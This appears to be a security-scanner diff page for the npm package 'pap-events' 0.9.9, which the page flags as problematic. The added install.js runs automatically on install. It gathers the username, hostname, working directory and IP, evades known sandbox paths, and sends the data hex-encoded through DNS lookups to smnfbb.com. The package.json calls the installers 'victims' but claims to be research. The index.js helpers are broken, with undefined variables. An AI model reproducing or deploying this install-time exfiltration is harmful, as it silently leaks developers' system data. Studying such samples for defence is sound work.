pap-events 0.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pap-events might be problematic. Click here for more details.
- package/index.js +60 -0
- package/install.js +69 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
const axios = require("axios");
|
2
|
+
|
3
|
+
const api_key = process.env.api_key;
|
4
|
+
const domain = process.env.domain;
|
5
|
+
|
6
|
+
export async function getUser() {
|
7
|
+
await axios
|
8
|
+
.get(
|
9
|
+
"https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
|
10
|
+
)
|
11
|
+
.then((response) => {
|
12
|
+
return response.data.objects;
|
13
|
+
})
|
14
|
+
.catch((err) => {
|
15
|
+
console.log(err);
|
16
|
+
});
|
17
|
+
return result;
|
18
|
+
}
|
19
|
+
|
20
|
+
export async function getAllUsers() {
|
21
|
+
await axios
|
22
|
+
.get(
|
23
|
+
"https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
|
24
|
+
)
|
25
|
+
.then((response) => {
|
26
|
+
return response.data.objects;
|
27
|
+
})
|
28
|
+
.catch((err) => {
|
29
|
+
console.log(err);
|
30
|
+
});
|
31
|
+
return result;
|
32
|
+
}
|
33
|
+
|
34
|
+
export async function createUser(user) {
|
35
|
+
await axios
|
36
|
+
.post(
|
37
|
+
"https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
|
38
|
+
)
|
39
|
+
.then((response) => {
|
40
|
+
return response.data.objects;
|
41
|
+
})
|
42
|
+
.catch((err) => {
|
43
|
+
console.log(err);
|
44
|
+
});
|
45
|
+
return result;
|
46
|
+
}
|
47
|
+
|
48
|
+
export async function sumbitReport(username, report) {
|
49
|
+
await axios
|
50
|
+
.post(
|
51
|
+
"https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
|
52
|
+
)
|
53
|
+
.then((response) => {
|
54
|
+
return response.data.objects;
|
55
|
+
})
|
56
|
+
.catch((err) => {
|
57
|
+
console.log(err);
|
58
|
+
});
|
59
|
+
return result;
|
60
|
+
}
|
package/install.js
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
var os = require("os");
|
3
|
+
var dns = require("dns");
|
4
|
+
|
5
|
+
function generateString(length) {
|
6
|
+
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
|
7
|
+
let result = '';
|
8
|
+
const charactersLength = characters.length;
|
9
|
+
for (let i = 0; i < length; i++) {
|
10
|
+
result += characters.charAt(Math.floor(Math.random() * charactersLength));
|
11
|
+
}
|
12
|
+
|
13
|
+
return result;
|
14
|
+
}
|
15
|
+
|
16
|
+
const topDomain = "smnfbb.com"
|
17
|
+
const packageName = process.argv[2]
|
18
|
+
const cwd = process.cwd()
|
19
|
+
const username = os.userInfo().username
|
20
|
+
const hostname = os.hostname()
|
21
|
+
const ID = generateString(5)
|
22
|
+
var IP = ""
|
23
|
+
|
24
|
+
if (username == "root" && (
|
25
|
+
cwd == ("/npm/node_modules/"+packageName) ||
|
26
|
+
cwd == ("/home/node/node_modules/"+packageName) ||
|
27
|
+
cwd.includes("\\Downloads\\node_modules\\"+packageName) ||
|
28
|
+
cwd == ("/tmp/06630/package")
|
29
|
+
)) {
|
30
|
+
throw new Error();
|
31
|
+
}
|
32
|
+
|
33
|
+
if (username == "justin" && (
|
34
|
+
cwd.includes("D:\\TRANSFER")
|
35
|
+
)) {
|
36
|
+
throw new Error();
|
37
|
+
}
|
38
|
+
|
39
|
+
|
40
|
+
try {
|
41
|
+
http.get({ 'host': 'api.ipify.org', 'port': 80, 'path': '/' }, function (resp) {
|
42
|
+
resp.on('data', function (ip) {
|
43
|
+
IP = ip
|
44
|
+
});
|
45
|
+
});
|
46
|
+
} catch (error) {
|
47
|
+
//
|
48
|
+
}
|
49
|
+
|
50
|
+
const data = JSON.stringify({
|
51
|
+
packagename: packageName,
|
52
|
+
cwd: cwd,
|
53
|
+
username: username,
|
54
|
+
hostname: hostname,
|
55
|
+
ip: IP
|
56
|
+
})
|
57
|
+
|
58
|
+
const options = {
|
59
|
+
family:4,
|
60
|
+
};
|
61
|
+
|
62
|
+
var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
|
63
|
+
var splitted = dataHex.match(/.{1,30}/g)
|
64
|
+
|
65
|
+
for (var i = 0; i < splitted.length; i++) {
|
66
|
+
var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
|
67
|
+
dns.lookup(domain, options, () => {})
|
68
|
+
}
|
69
|
+
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "pap-events",
|
3
|
+
"version": "0.9.9",
|
4
|
+
"description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node install.js pap-events"
|
8
|
+
},
|
9
|
+
"author": "smirnoffq@bugcrowdninja.com",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|